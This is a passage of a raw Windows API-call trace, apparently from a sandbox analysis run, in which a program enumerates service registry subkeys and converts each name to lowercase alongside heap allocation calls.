lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.250] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0253.250] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.250] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.250] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.250] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.250] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0253.250] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.250] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0253.250] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.250] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.250] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.250] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.250] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0253.250] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.250] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0253.250] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.251] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0253.251] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.251] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0253.251] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.251] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0253.251] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.251] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0253.251] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.251] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0253.251] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.251] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0253.251] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.251] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0253.251] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0253.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.252] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0253.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0253.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.252] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0253.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0253.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.252] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0253.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0253.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.253] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0253.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0253.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.253] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0253.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0253.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.253] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0253.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1e38, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0253.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.253] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0253.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0253.254] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.254] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.254] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.254] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.254] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0253.254] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.254] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1e38, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0253.254] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0253.254] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0253.254] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0253.254] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0253.254] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0253.254] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0253.254] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0253.254] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0253.255] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0253.255] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0253.255] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0253.255] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0253.255] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0253.255] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0253.255] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0253.255] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0253.255] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0253.255] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0253.255] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0253.255] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0253.256] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0253.256] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0253.256] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0253.256] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0253.256] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0253.256] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0253.256] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0253.256] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0253.256] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0253.256] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0253.256] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0253.256] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0253.256] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0253.257] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0253.257] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0253.257] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0253.257] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0253.257] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0253.257] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0253.257] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0253.257] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0253.257] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0253.257] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0253.257] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0253.257] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0253.257] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0253.257] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0253.258] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0253.258] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0253.258] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0253.258] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0253.258] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0253.258] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0253.258] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0253.258] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0253.258] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0253.258] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0253.258] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0253.258] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0253.258] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, 